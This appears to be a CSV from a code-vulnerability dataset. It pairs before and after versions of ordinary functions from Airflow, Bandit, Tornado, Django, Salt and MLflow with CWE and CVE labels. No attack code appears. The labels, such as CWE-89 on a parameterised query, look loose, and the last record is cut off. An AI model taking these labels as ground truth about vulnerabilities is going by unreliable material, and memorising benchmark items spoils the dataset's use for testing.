,UNKNOWN,UNKNOWN,tests/api_connexion/schemas/test_dag_schema.py,1,"def test_serialize_test_dag_detail_schema(url_safe_serializer):
    dag = DAG(
        dag_id=""test_dag"",
        schedule=timedelta(days=1),
        start_date=datetime(2020, 6, 19),
        doc_md=""docs"",
        orientation=""LR"",
        default_view=""duration"",
        params={""foo"": 1},
        tags=[""example1"", ""example2""],
    )
    schema = DAGDetailSchema()

    expected = {
        ""catchup"": True,
        ""concurrency"": 16,
        ""max_active_tasks"": 16,
        ""dag_id"": ""test_dag"",
        ""dag_display_name"": ""test_dag"",
        ""dag_run_timeout"": None,
        ""default_view"": ""duration"",
        ""description"": None,
        ""doc_md"": ""docs"",
        ""fileloc"": __file__,
        ""file_token"": url_safe_serializer.dumps(__file__),
        ""is_active"": None,
        ""is_paused"": None,
        ""orientation"": ""LR"",
        ""owners"": [],
        ""params"": {
            ""foo"": {
                ""__class"": ""airflow.models.param.Param"",
                ""value"": 1,
                ""description"": None,
                ""schema"": {},
            }
        },
        ""start_date"": ""2020-06-19T00:00:00+00:00"",
        ""tags"": sorted(
            [{""name"": ""example1""}, {""name"": ""example2""}],
            key=lambda val: val[""name""],
        ),
        ""template_searchpath"": None,
        ""timetable_summary"": ""1 day, 0:00:00"",
        ""timezone"": UTC_JSON_REPR,
        ""max_active_runs"": 16,
        ""max_consecutive_failed_dag_runs"": 0,
        ""pickle_id"": None,
        ""end_date"": None,
        ""is_paused_upon_creation"": None,
        ""render_template_as_native_obj"": False,
    }
    obj = schema.dump(dag)
    expected.update({""last_parsed"": obj[""last_parsed""]})
    obj[""tags""] = sorted(
        obj[""tags""],
        key=lambda val: val[""name""],
    )
    assert obj == expected",CWE-703,apache/airflow,bdab7dc28d15aec230b6aa91f5b43d45a9a1dcea,"def test_serialize_test_dag_detail_schema(url_safe_serializer):
    dag = DAG(
        dag_id=""test_dag"",
        schedule=timedelta(days=1),
        start_date=datetime(2020, 6, 19),
        doc_md=""docs"",
        orientation=""LR"",
        default_view=""duration"",
        params={""foo"": 1},
        tags=[""example1"", ""example2""],
    )
    schema = DAGDetailSchema()

    expected = {
        ""catchup"": True,
        ""concurrency"": 16,
        ""max_active_tasks"": 16,
        ""dag_id"": ""test_dag"",
        ""dag_display_name"": ""test_dag"",
        ""dag_run_timeout"": None,
        ""default_view"": ""duration"",
        ""description"": None,
        ""doc_md"": ""docs"",
        ""fileloc"": __file__,
        ""file_token"": url_safe_serializer.dumps(__file__),
        ""is_active"": None,
        ""is_paused"": None,
        ""orientation"": ""LR"",
        ""owners"": [],
        ""params"": {
            ""foo"": {
                ""__class"": ""airflow.models.param.Param"",
                ""value"": 1,
                ""description"": None,
                ""schema"": {},
            }
        },
        ""start_date"": ""2020-06-19T00:00:00+00:00"",
        ""tags"": [{""name"": ""example1""}, {""name"": ""example2""}],
        ""template_searchpath"": None,
        ""timetable_summary"": ""1 day, 0:00:00"",
        ""timezone"": UTC_JSON_REPR,
        ""max_active_runs"": 16,
        ""max_consecutive_failed_dag_runs"": 0,
        ""pickle_id"": None,
        ""end_date"": None,
        ""is_paused_upon_creation"": None,
        ""render_template_as_native_obj"": False,
    }
    obj = schema.dump(dag)
    expected.update({""last_parsed"": obj[""last_parsed""]})
    assert obj == expected"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/functional/test_functional.py,0,"def test_imports_aliases(self):
        '''Test the `import X as Y` syntax.'''
        expect = {
            'SEVERITY': {'LOW': 4, 'MEDIUM': 5, 'HIGH': 0},
            'CONFIDENCE': {'HIGH': 9}
        }
        self.check_example('imports-aliases.py', expect)",UNKNOWN,PyCQA/bandit,70d01d3bc7d34e5d508a654617941f9d71639d2b,"def test_imports_aliases(self):
        '''Test the `import X as Y` syntax.'''
        expect = {
            'SEVERITY': {'LOW': 3, 'MEDIUM': 5, 'HIGH': 1},
            'CONFIDENCE': {'HIGH': 9}
        }
        self.check_example('imports-aliases.py', expect)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/httpclient.py,0,"def __init__(
        self,
        url: str,
        method: str = ""GET"",
        headers: Union[Dict[str, str], httputil.HTTPHeaders] = None,
        body: Union[bytes, str] = None,
        auth_username: str = None,
        auth_password: str = None,
        auth_mode: str = None,
        connect_timeout: float = None,
        request_timeout: float = None,
        if_modified_since: Union[float, datetime.datetime] = None,
        follow_redirects: bool = None,
        max_redirects: int = None,
        user_agent: str = None,
        use_gzip: bool = None,
        network_interface: str = None,
        streaming_callback: Callable[[bytes], None] = None,
        header_callback: Callable[[str], None] = None,
        prepare_curl_callback: Callable[[Any], None] = None,
        proxy_host: str = None,
        proxy_port: int = None,
        proxy_username: str = None,
        proxy_password: str = None,
        proxy_auth_mode: str = None,
        allow_nonstandard_methods: bool = None,
        validate_cert: bool = None,
        ca_certs: str = None,
        allow_ipv6: bool = None,
        client_key: str = None,
        client_cert: str = None,
        body_producer: Callable[[Callable[[bytes], None]], ""Future[None]""] = None,
        expect_100_continue: bool = False,
        decompress_response: bool = None,
        ssl_options: Union[Dict[str, Any], ssl.SSLContext] = None,
    ) -> None:
        r""""""All parameters except ``url`` are optional.

        :arg str url: URL to fetch
        :arg str method: HTTP method, e.g. ""GET"" or ""POST""
        :arg headers: Additional HTTP headers to pass on the request
        :type headers: `~tornado.httputil.HTTPHeaders` or `dict`
        :arg body: HTTP request body as a string (byte or unicode; if unicode
           the utf-8 encoding will be used)
        :arg body_producer: Callable used for lazy/asynchronous request bodies.
           It is called with one argument, a ``write`` function, and should
           return a `.Future`.  It should call the write function with new
           data as it becomes available.  The write function returns a
           `.Future` which can be used for flow control.
           Only one of ``body`` and ``body_producer`` may
           be specified.  ``body_producer`` is not supported on
           ``curl_httpclient``.  When using ``body_producer`` it is recommended
           to pass a ``Content-Length`` in the headers as otherwise chunked
           encoding will be used, and many servers do not support chunked
           encoding on requests.  New in Tornado 4.0
        :arg str auth_username: Username for HTTP authentication
        :arg str auth_password: Password for HTTP authentication
        :arg str auth_mode: Authentication mode; default is ""basic"".
           Allowed values are implementation-defined; ``curl_httpclient``
           supports ""basic"" and ""digest""; ``simple_httpclient`` only supports
           ""basic""
        :arg float connect_timeout: Timeout for initial connection in seconds,
           default 20 seconds
        :arg float request_timeout: Timeout for entire request in seconds,
           default 20 seconds
        :arg if_modified_since: Timestamp for ``If-Modified-Since`` header
        :type if_modified_since: `datetime` or `float`
        :arg bool follow_redirects: Should redirects be followed automatically
           or return the 3xx response? Default True.
        :arg int max_redirects: Limit for ``follow_redirects``, default 5.
        :arg str user_agent: String to send as ``User-Agent`` header
        :arg bool decompress_response: Request a compressed response from
           the server and decompress it after downloading.  Default is True.
           New in Tornado 4.0.
        :arg bool use_gzip: Deprecated alias for ``decompress_response``
           since Tornado 4.0.
        :arg str network_interface: Network interface or source IP to use for request.
           See ``curl_httpclient`` note below.
        :arg collections.abc.Callable streaming_callback: If set, ``streaming_callback`` will
           be run with each chunk of data as it is received, and
           ``HTTPResponse.body`` and ``HTTPResponse.buffer`` will be empty in
           the final response.
        :arg collections.abc.Callable header_callback: If set, ``header_callback`` will
           be run with each header line as it is received (including the
           first line, e.g. ``HTTP/1.0 200 OK\r\n``, and a final line
           containing only ``\r\n``.  All lines include the trailing newline
           characters).  ``HTTPResponse.headers`` will be empty in the final
           response.  This is most useful in conjunction with
           ``streaming_callback``, because it's the only way to get access to
           header data while the request is in progress.
        :arg collections.abc.Callable prepare_curl_callback: If set, will be called with
           a ``pycurl.Curl`` object to allow the application to make additional
           ``setopt`` calls.
        :arg str proxy_host: HTTP proxy hostname.  To use proxies,
           ``proxy_host`` and ``proxy_port`` must be set; ``proxy_username``,
           ``proxy_pass`` and ``proxy_auth_mode`` are optional.  Proxies are
           currently only supported with ``curl_httpclient``.
        :arg int proxy_port: HTTP proxy port
        :arg str proxy_username: HTTP proxy username
        :arg str proxy_password: HTTP proxy password
        :arg str proxy_auth_mode: HTTP proxy Authentication mode;
           default is ""basic"". supports ""basic"" and ""digest""
        :arg bool allow_nonstandard_methods: Allow unknown values for ``method``
           argument? Default is False.
        :arg bool validate_cert: For HTTPS requests, validate the server's
           certificate? Default is True.
        :arg str ca_certs: filename of CA certificates in PEM format,
           or None to use defaults.  See note below when used with
           ``curl_httpclient``.
        :arg str client_key: Filename for client SSL key, if any.  See
           note below when used with ``curl_httpclient``.
        :arg str client_cert: Filename for client SSL certificate, if any.
           See note below when used with ``curl_httpclient``.
        :arg ssl.SSLContext ssl_options: `ssl.SSLContext` object for use in
           ``simple_httpclient`` (unsupported by ``curl_httpclient``).
           Overrides ``validate_cert``, ``ca_certs``, ``client_key``,
           and ``client_cert``.
        :arg bool allow_ipv6: Use IPv6 when available?  Default is true.
        :arg bool expect_100_continue: If true, send the
           ``Expect: 100-continue`` header and wait for a continue response
           before sending the request body.  Only supported with
           simple_httpclient.

        .. note::

            When using ``curl_httpclient`` certain options may be
            inherited by subsequent fetches because ``pycurl`` does
            not allow them to be cleanly reset.  This applies to the
            ``ca_certs``, ``client_key``, ``client_cert``, and
            ``network_interface`` arguments.  If you use these
            options, you should pass them on every request (you don't
            have to always use the same values, but it's not possible
            to mix requests that specify these options with ones that
            use the defaults).

        .. versionadded:: 3.1
           The ``auth_mode`` argument.

        .. versionadded:: 4.0
           The ``body_producer`` and ``expect_100_continue`` arguments.

        .. versionadded:: 4.2
           The ``ssl_options`` argument.

        .. versionadded:: 4.5
           The ``proxy_auth_mode`` argument.
        """"""
        # Note that some of these attributes go through property setters
        # defined below.
        self.headers = headers
        if if_modified_since:
            self.headers[""If-Modified-Since""] = httputil.format_timestamp(
                if_modified_since
            )
        self.proxy_host = proxy_host
        self.proxy_port = proxy_port
        self.proxy_username = proxy_username
        self.proxy_password = proxy_password
        self.proxy_auth_mode = proxy_auth_mode
        self.url = url
        self.method = method
        self.body = body
        self.body_producer = body_producer
        self.auth_username = auth_username
        self.auth_password = auth_password
        self.auth_mode = auth_mode
        self.connect_timeout = connect_timeout
        self.request_timeout = request_timeout
        self.follow_redirects = follow_redirects
        self.max_redirects = max_redirects
        self.user_agent = user_agent
        if decompress_response is not None:
            self.decompress_response = decompress_response  # type: Optional[bool]
        else:
            self.decompress_response = use_gzip
        self.network_interface = network_interface
        self.streaming_callback = streaming_callback
        self.header_callback = header_callback
        self.prepare_curl_callback = prepare_curl_callback
        self.allow_nonstandard_methods = allow_nonstandard_methods
        self.validate_cert = validate_cert
        self.ca_certs = ca_certs
        self.allow_ipv6 = allow_ipv6
        self.client_key = client_key
        self.client_cert = client_cert
        self.ssl_options = ssl_options
        self.expect_100_continue = expect_100_continue
        self.start_time = time.time()",CWE-Unknown,tornadoweb/tornado,9ba61c636899ed0f7472fb2f4975a53720d1b0ff,"def __init__(
        self,
        url: str,
        method: str = ""GET"",
        headers: Union[Dict[str, str], httputil.HTTPHeaders] = None,
        body: Union[bytes, str] = None,
        auth_username: str = None,
        auth_password: str = None,
        auth_mode: str = None,
        connect_timeout: float = None,
        request_timeout: float = None,
        if_modified_since: Union[float, datetime.datetime] = None,
        follow_redirects: bool = None,
        max_redirects: int = None,
        user_agent: str = None,
        use_gzip: bool = None,
        network_interface: str = None,
        streaming_callback: Callable[[bytes], None] = None,
        header_callback: Callable[[str], None] = None,
        prepare_curl_callback: Callable[[Any], None] = None,
        proxy_host: str = None,
        proxy_port: int = None,
        proxy_username: str = None,
        proxy_password: str = None,
        proxy_auth_mode: str = None,
        allow_nonstandard_methods: bool = None,
        validate_cert: bool = None,
        ca_certs: str = None,
        allow_ipv6: bool = None,
        client_key: str = None,
        client_cert: str = None,
        body_producer: Callable[[Callable[[bytes], None]], ""Future[None]""] = None,
        expect_100_continue: bool = False,
        decompress_response: bool = None,
        ssl_options: Union[Dict[str, Any], ssl.SSLContext] = None,
    ) -> None:
        r""""""All parameters except ``url`` are optional.

        :arg str url: URL to fetch
        :arg str method: HTTP method, e.g. ""GET"" or ""POST""
        :arg headers: Additional HTTP headers to pass on the request
        :type headers: `~tornado.httputil.HTTPHeaders` or `dict`
        :arg body: HTTP request body as a string (byte or unicode; if unicode
           the utf-8 encoding will be used)
        :arg body_producer: Callable used for lazy/asynchronous request bodies.
           It is called with one argument, a ``write`` function, and should
           return a `.Future`.  It should call the write function with new
           data as it becomes available.  The write function returns a
           `.Future` which can be used for flow control.
           Only one of ``body`` and ``body_producer`` may
           be specified.  ``body_producer`` is not supported on
           ``curl_httpclient``.  When using ``body_producer`` it is recommended
           to pass a ``Content-Length`` in the headers as otherwise chunked
           encoding will be used, and many servers do not support chunked
           encoding on requests.  New in Tornado 4.0
        :arg str auth_username: Username for HTTP authentication
        :arg str auth_password: Password for HTTP authentication
        :arg str auth_mode: Authentication mode; default is ""basic"".
           Allowed values are implementation-defined; ``curl_httpclient``
           supports ""basic"" and ""digest""; ``simple_httpclient`` only supports
           ""basic""
        :arg float connect_timeout: Timeout for initial connection in seconds,
           default 20 seconds
        :arg float request_timeout: Timeout for entire request in seconds,
           default 20 seconds
        :arg if_modified_since: Timestamp for ``If-Modified-Since`` header
        :type if_modified_since: `datetime` or `float`
        :arg bool follow_redirects: Should redirects be followed automatically
           or return the 3xx response? Default True.
        :arg int max_redirects: Limit for ``follow_redirects``, default 5.
        :arg str user_agent: String to send as ``User-Agent`` header
        :arg bool decompress_response: Request a compressed response from
           the server and decompress it after downloading.  Default is True.
           New in Tornado 4.0.
        :arg bool use_gzip: Deprecated alias for ``decompress_response``
           since Tornado 4.0.
        :arg str network_interface: Network interface to use for request.
           ``curl_httpclient`` only; see note below.
        :arg collections.abc.Callable streaming_callback: If set, ``streaming_callback`` will
           be run with each chunk of data as it is received, and
           ``HTTPResponse.body`` and ``HTTPResponse.buffer`` will be empty in
           the final response.
        :arg collections.abc.Callable header_callback: If set, ``header_callback`` will
           be run with each header line as it is received (including the
           first line, e.g. ``HTTP/1.0 200 OK\r\n``, and a final line
           containing only ``\r\n``.  All lines include the trailing newline
           characters).  ``HTTPResponse.headers`` will be empty in the final
           response.  This is most useful in conjunction with
           ``streaming_callback``, because it's the only way to get access to
           header data while the request is in progress.
        :arg collections.abc.Callable prepare_curl_callback: If set, will be called with
           a ``pycurl.Curl`` object to allow the application to make additional
           ``setopt`` calls.
        :arg str proxy_host: HTTP proxy hostname.  To use proxies,
           ``proxy_host`` and ``proxy_port`` must be set; ``proxy_username``,
           ``proxy_pass`` and ``proxy_auth_mode`` are optional.  Proxies are
           currently only supported with ``curl_httpclient``.
        :arg int proxy_port: HTTP proxy port
        :arg str proxy_username: HTTP proxy username
        :arg str proxy_password: HTTP proxy password
        :arg str proxy_auth_mode: HTTP proxy Authentication mode;
           default is ""basic"". supports ""basic"" and ""digest""
        :arg bool allow_nonstandard_methods: Allow unknown values for ``method``
           argument? Default is False.
        :arg bool validate_cert: For HTTPS requests, validate the server's
           certificate? Default is True.
        :arg str ca_certs: filename of CA certificates in PEM format,
           or None to use defaults.  See note below when used with
           ``curl_httpclient``.
        :arg str client_key: Filename for client SSL key, if any.  See
           note below when used with ``curl_httpclient``.
        :arg str client_cert: Filename for client SSL certificate, if any.
           See note below when used with ``curl_httpclient``.
        :arg ssl.SSLContext ssl_options: `ssl.SSLContext` object for use in
           ``simple_httpclient`` (unsupported by ``curl_httpclient``).
           Overrides ``validate_cert``, ``ca_certs``, ``client_key``,
           and ``client_cert``.
        :arg bool allow_ipv6: Use IPv6 when available?  Default is true.
        :arg bool expect_100_continue: If true, send the
           ``Expect: 100-continue`` header and wait for a continue response
           before sending the request body.  Only supported with
           simple_httpclient.

        .. note::

            When using ``curl_httpclient`` certain options may be
            inherited by subsequent fetches because ``pycurl`` does
            not allow them to be cleanly reset.  This applies to the
            ``ca_certs``, ``client_key``, ``client_cert``, and
            ``network_interface`` arguments.  If you use these
            options, you should pass them on every request (you don't
            have to always use the same values, but it's not possible
            to mix requests that specify these options with ones that
            use the defaults).

        .. versionadded:: 3.1
           The ``auth_mode`` argument.

        .. versionadded:: 4.0
           The ``body_producer`` and ``expect_100_continue`` arguments.

        .. versionadded:: 4.2
           The ``ssl_options`` argument.

        .. versionadded:: 4.5
           The ``proxy_auth_mode`` argument.
        """"""
        # Note that some of these attributes go through property setters
        # defined below.
        self.headers = headers
        if if_modified_since:
            self.headers[""If-Modified-Since""] = httputil.format_timestamp(
                if_modified_since
            )
        self.proxy_host = proxy_host
        self.proxy_port = proxy_port
        self.proxy_username = proxy_username
        self.proxy_password = proxy_password
        self.proxy_auth_mode = proxy_auth_mode
        self.url = url
        self.method = method
        self.body = body
        self.body_producer = body_producer
        self.auth_username = auth_username
        self.auth_password = auth_password
        self.auth_mode = auth_mode
        self.connect_timeout = connect_timeout
        self.request_timeout = request_timeout
        self.follow_redirects = follow_redirects
        self.max_redirects = max_redirects
        self.user_agent = user_agent
        if decompress_response is not None:
            self.decompress_response = decompress_response  # type: Optional[bool]
        else:
            self.decompress_response = use_gzip
        self.network_interface = network_interface
        self.streaming_callback = streaming_callback
        self.header_callback = header_callback
        self.prepare_curl_callback = prepare_curl_callback
        self.allow_nonstandard_methods = allow_nonstandard_methods
        self.validate_cert = validate_cert
        self.ca_certs = ca_certs
        self.allow_ipv6 = allow_ipv6
        self.client_key = client_key
        self.client_cert = client_cert
        self.ssl_options = ssl_options
        self.expect_100_continue = expect_100_continue
        self.start_time = time.time()"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/formatters/test_json.py,0,"def test_report(self, get_issue_list):
        self.manager.files_list = ['binding.py']
        self.manager.scores = [{'SEVERITY': [0] * len(constants.RANKING),
                                'CONFIDENCE': [0] * len(constants.RANKING)}]

        get_issue_list.return_value = collections.OrderedDict(
            [(self.issue, self.candidates)])

        tmp_file = open(self.tmp_fname, 'w')
        b_json.report(self.manager, tmp_file, self.issue.severity,
                      self.issue.confidence)

        with open(self.tmp_fname) as f:
            data = json.loads(f.read())
            self.assertIsNotNone(data['generated_at'])
            self.assertEqual(self.tmp_fname, data['results'][0]['filename'])
            self.assertEqual(self.issue.severity,
                             data['results'][0]['issue_severity'])
            self.assertEqual(self.issue.confidence,
                             data['results'][0]['issue_confidence'])
            self.assertEqual(self.issue.text, data['results'][0]['issue_text'])
            self.assertEqual(self.context['lineno'],
                             data['results'][0]['line_number'])
            self.assertEqual(self.context['linerange'],
                             data['results'][0]['line_range'])
            self.assertEqual(self.check_name, data['results'][0]['test_name'])
            self.assertIn('candidates', data['results'][0])
            self.assertIn('more_info', data['results'][0])
            self.assertIsNotNone(data['results'][0]['more_info'])",UNKNOWN,PyCQA/bandit,185a2a8a4297aa7250a3c137b9e561ebb485c3b5,"def test_report(self, get_issue_list):
        self.manager.files_list = ['binding.py']
        self.manager.scores = [{'SEVERITY': [0] * len(constants.RANKING),
                                'CONFIDENCE': [0] * len(constants.RANKING)}]

        get_issue_list.return_value = collections.OrderedDict(
            [(self.issue, self.candidates)])

        tmp_file = open(self.tmp_fname, 'w')
        b_json.report(self.manager, tmp_file, self.issue.severity,
                      self.issue.confidence)

        with open(self.tmp_fname) as f:
            data = json.loads(f.read())
            self.assertIsNotNone(data['generated_at'])
            self.assertEqual(self.tmp_fname, data['results'][0]['filename'])
            self.assertEqual(self.issue.severity,
                             data['results'][0]['issue_severity'])
            self.assertEqual(self.issue.confidence,
                             data['results'][0]['issue_confidence'])
            self.assertEqual(self.issue.text, data['results'][0]['issue_text'])
            self.assertEqual(self.context['lineno'],
                             data['results'][0]['line_number'])
            self.assertEqual(self.context['linerange'],
                             data['results'][0]['line_range'])
            self.assertEqual(self.check_name, data['results'][0]['test_name'])
            self.assertIn('candidates', data['results'][0])"
,UNKNOWN,UNKNOWN,tornado/web.py,1,"def get_arguments(self, name: str, strip: bool = True) -> List[str]:
        """"""Returns a list of the arguments with the given name.

        If the argument is not present, returns an empty list.

        This method searches both the query and body arguments.
        """"""

        # Make sure `get_arguments` isn't accidentally being called with a
        # positional argument that's assumed to be a default (like in
        # `get_argument`.)
        assert isinstance(strip, bool)

        return self._get_arguments(name, self.request.arguments, strip)",CWE-703,tornadoweb/tornado,6db0d9d3aeb78bf76066f1bfb16797296f284448,"def get_arguments(self, name: str, strip: bool = True) -> List[str]:
        """"""Returns a list of the arguments with the given name.

        If the argument is not present, returns an empty list.

        This method searches both the query and body arguments.
        """"""

        # Make sure `get_arguments` isn't accidentally being called with a
        # positional argument that's assumed to be a default (like in
        # `get_argument`.)
        assert isinstance(strip, bool)

        return self._get_arguments(name, self.request.arguments, strip)"
functions_for_django_with_cwe.csv,CVE-2022-34265,UNKNOWN,tests/backends/base/test_operations.py,0,"def test_date_extract_sql(self):
        with self.assertRaisesMessage(
            NotImplementedError, self.may_require_msg % ""date_extract_sql""
        ):
            self.ops.date_extract_sql(None, None, None)",CWE-Unknown,django/django,877c800f255ccaa7abde1fb944de45d1616f5cc9,"def test_date_extract_sql(self):
        with self.assertRaisesMessage(
            NotImplementedError, self.may_require_msg % ""date_extract_sql""
        ):
            self.ops.date_extract_sql(None, None)"
,UNKNOWN,UNKNOWN,django/db/models/query.py,1,"def bulk_create(self, objs, batch_size=None):
        """"""
        Inserts each of the instances into the database. This does *not* call
        save() on each of the instances, does not send any pre/post save
        signals, and does not set the primary key attribute if it is an
        autoincrement field.
        """"""
        # So this case is fun. When you bulk insert you don't get the primary
        # keys back (if it's an autoincrement), so you can't insert into the
        # child tables which references this. There are two workarounds, 1)
        # this could be implemented if you didn't have an autoincrement pk,
        # and 2) you could do it by doing O(n) normal inserts into the parent
        # tables to get the primary keys back, and then doing a single bulk
        # insert into the childmost table. Some databases might allow doing
        # this by using RETURNING clause for the insert query. We're punting
        # on these for now because they are relatively rare cases.
        assert batch_size is None or batch_size > 0
        if self.model._meta.parents:
            raise ValueError(""Can't bulk create an inherited model"")
        if not objs:
            return objs
        self._for_write = True
        connection = connections[self.db]
        fields = self.model._meta.local_concrete_fields
        with transaction.commit_on_success_unless_managed(using=self.db):
            if (connection.features.can_combine_inserts_with_and_without_auto_increment_pk
                    and self.model._meta.has_auto_field):
                self._batched_insert(objs, fields, batch_size)
            else:
                objs_with_pk, objs_without_pk = partition(lambda o: o.pk is None, objs)
                if objs_with_pk:
                    self._batched_insert(objs_with_pk, fields, batch_size)
                if objs_without_pk:
                    fields = [f for f in fields if not isinstance(f, AutoField)]
                    self._batched_insert(objs_without_pk, fields, batch_size)

        return objs",CWE-703,django/django,bbc73e6a12227f5ed52fd38bc37f56f434a0a72c,"def bulk_create(self, objs, batch_size=None):
        """"""
        Inserts each of the instances into the database. This does *not* call
        save() on each of the instances, does not send any pre/post save
        signals, and does not set the primary key attribute if it is an
        autoincrement field.
        """"""
        # So this case is fun. When you bulk insert you don't get the primary
        # keys back (if it's an autoincrement), so you can't insert into the
        # child tables which references this. There are two workarounds, 1)
        # this could be implemented if you didn't have an autoincrement pk,
        # and 2) you could do it by doing O(n) normal inserts into the parent
        # tables to get the primary keys back, and then doing a single bulk
        # insert into the childmost table. Some databases might allow doing
        # this by using RETURNING clause for the insert query. We're punting
        # on these for now because they are relatively rare cases.
        assert batch_size is None or batch_size > 0
        if self.model._meta.parents:
            raise ValueError(""Can't bulk create an inherited model"")
        if not objs:
            return objs
        self._for_write = True
        connection = connections[self.db]
        fields = self.model._meta.local_fields
        with transaction.commit_on_success_unless_managed(using=self.db):
            if (connection.features.can_combine_inserts_with_and_without_auto_increment_pk
                    and self.model._meta.has_auto_field):
                self._batched_insert(objs, fields, batch_size)
            else:
                objs_with_pk, objs_without_pk = partition(lambda o: o.pk is None, objs)
                if objs_with_pk:
                    self._batched_insert(objs_with_pk, fields, batch_size)
                if objs_without_pk:
                    fields = [f for f in fields if not isinstance(f, AutoField)]
                    self._batched_insert(objs_without_pk, fields, batch_size)

        return objs"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/utils/encoding.py,0,"def force_bytes(s, encoding='utf-8', strings_only=False, errors='strict'):
    """"""
    Similar to smart_bytes, except that lazy instances are resolved to
    strings, rather than kept as lazy objects.

    If strings_only is True, don't convert (some) non-string-like objects.
    """"""
    # Handle the common case first for performance reasons.
    if isinstance(s, bytes):
        if encoding == 'utf-8':
            return s
        else:
            return s.decode('utf-8', errors).encode(encoding, errors)
    if strings_only and is_protected_type(s):
        return s
    if isinstance(s, six.memoryview):
        return bytes(s)
    if isinstance(s, Promise):
        return six.text_type(s).encode(encoding, errors)
    if not isinstance(s, six.string_types):
        try:
            if six.PY3:
                return six.text_type(s).encode(encoding)
            else:
                return bytes(s)
        except UnicodeEncodeError:
            if isinstance(s, Exception):
                # An Exception subclass containing non-ASCII data that doesn't
                # know how to print itself properly. We shouldn't raise a
                # further exception.
                return b' '.join(force_bytes(arg, encoding, strings_only, errors)
                                 for arg in s)
            return six.text_type(s).encode(encoding, errors)
    else:
        return s.encode(encoding, errors)",CWE-Unknown,django/django,967be82443b5640d61608a89897d8ce2bc44fa54,"def force_bytes(s, encoding='utf-8', strings_only=False, errors='strict'):
    """"""
    Similar to smart_bytes, except that lazy instances are resolved to
    strings, rather than kept as lazy objects.

    If strings_only is True, don't convert (some) non-string-like objects.
    """"""
    # Handle the common case first for performance reasons.
    if isinstance(s, bytes):
        if encoding == 'utf-8':
            return s
        else:
            return s.decode('utf-8', errors).encode(encoding, errors)
    if strings_only and is_protected_type(s):
        return s
    if isinstance(s, six.memoryview):
        return bytes(s)
    if isinstance(s, Promise):
        return six.text_type(s).encode(encoding, errors)
    if not isinstance(s, six.string_types):
        try:
            if six.PY3:
                return six.text_type(s).encode(encoding)
            else:
                return bytes(s)
        except UnicodeEncodeError:
            if isinstance(s, Exception):
                # An Exception subclass containing non-ASCII data that doesn't
                # know how to print itself properly. We shouldn't raise a
                # further exception.
                return b' '.join(force_bytes(arg, encoding, strings_only, errors)
                                 for arg in s)
            return six.text_type(s).encode(encoding, errors)
    else:
        return s.encode(encoding, errors)"
,UNKNOWN,UNKNOWN,tests/pytests/unit/fileclient/test_fileclient.py,1,"def test_get_file_client(file_client):
    minion_opts = {}
    minion_opts[""file_client""] = ""remote""
    with patch(""salt.fileclient.RemoteClient"", MagicMock(return_value=""remote_client"")):
        ret = fileclient.get_file_client(minion_opts)
        assert ""remote_client"" == ret",CWE-703,saltstack/salt,1e9e8d6a11e564076cd4553c59bbfb9eb861092b,"def test_get_file_client(file_client):
    minion_opts = {}
    minion_opts[""file_client""] = ""remote""
    with patch(""salt.fileclient.RemoteClient"", MagicMock(return_value=""remote_client"")):
        ret = fileclient.get_file_client(minion_opts)
        assert ""remote_client"" == ret"
,UNKNOWN,UNKNOWN,tests/schema/tests.py,1,"def test_add_inline_fk_update_data(self):
        with connection.schema_editor() as editor:
            editor.create_model(Node)
        # Add an inline foreign key and update data in the same transaction.
        new_field = ForeignKey(Node, CASCADE, related_name='new_fk', null=True)
        new_field.set_attributes_from_name('new_parent_fk')
        parent = Node.objects.create()
        with connection.schema_editor() as editor:
            editor.add_field(Node, new_field)
            editor.execute('UPDATE schema_node SET new_parent_fk_id = %s;', [parent.pk])
        assertIndex = (
            self.assertIn
            if connection.features.indexes_foreign_keys
            else self.assertNotIn
        )
        assertIndex('new_parent_fk_id', self.get_indexes(Node._meta.db_table))",CWE-89,django/django,ede9fac75807fe5810df66280a60e7068cc97e4a,"def test_add_inline_fk_update_data(self):
        with connection.schema_editor() as editor:
            editor.create_model(Node)
        # Add an inline foreign key and update data in the same transaction.
        new_field = ForeignKey(Node, CASCADE, related_name='new_fk', null=True)
        new_field.set_attributes_from_name('new_parent_fk')
        parent = Node.objects.create()
        with connection.schema_editor() as editor:
            editor.add_field(Node, new_field)
            editor.execute('UPDATE schema_node SET new_parent_fk_id = %s;', [parent.pk])
        self.assertIn('new_parent_fk_id', self.get_indexes(Node._meta.db_table))"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/langchain/api_request_parallel_processor.py,0,"def _transform_request_json_for_chat_if_necessary(request_json, lc_model):
        """"""
        Returns:
            A 2-element tuple containing:

                1. The new request.
                2. A boolean indicating whether or not the request was transformed from the OpenAI
                chat format.
        """"""
        input_fields = APIRequest._get_lc_model_input_fields(lc_model)
        if ""messages"" in input_fields:
            # If the chain accepts a ""messages"" field directly, don't attempt to convert
            # the request to LangChain's Message format automatically. Assume that the chain
            # is handling the ""messages"" field by itself
            return request_json, False

        def json_dict_might_be_chat_request(json_message: Dict):
            return (
                isinstance(json_message, dict)
                and ""messages"" in json_message
                and
                # Additional keys can't be specified when calling LangChain invoke() / batch()
                # with chat messages
                len(json_message) == 1
            )

        if isinstance(request_json, dict) and json_dict_might_be_chat_request(request_json):
            try:
                return APIRequest._convert_chat_request_or_throw(request_json), True
            except pydantic.ValidationError:
                return request_json, False
        elif isinstance(request_json, list) and all(
            json_dict_might_be_chat_request(json) for json in request_json
        ):
            try:
                return (
                    [
                        APIRequest._convert_chat_request_or_throw(json_dict)
                        for json_dict in request_json
                    ],
                    True,
                )
            except pydantic.ValidationError:
                return request_json, False
        else:
            return request_json, False",,mlflow/mlflow,d563339ab5cc532b5eefe09a6e9b5983c6197c63,"def _transform_request_json_for_chat_if_necessary(request_json, lc_model):
        """"""
        Returns:
            A 2-element tuple containing:

                1. The new request.
                2. A boolean indicating whether or not the request was transformed from the OpenAI
                chat format.
        """"""
        input_fields = APIRequest._get_lc_model_input_fields(lc_model)
        if ""messages"" in input_fields:
            # If the chain accepts a ""messages"" field directly, don't attempt to convert
            # the request to LangChain's Message format automatically. Assume that the chain
            # is handling the ""messages"" field by itself
            return request_json, False

        def json_dict_might_be_chat_request(json: Dict):
            return (
                ""messages"" in request_json
                and
                # Additional keys can't be specified when calling LangChain invoke() / batch()
                # with chat messages
                len(request_json) == 1
            )

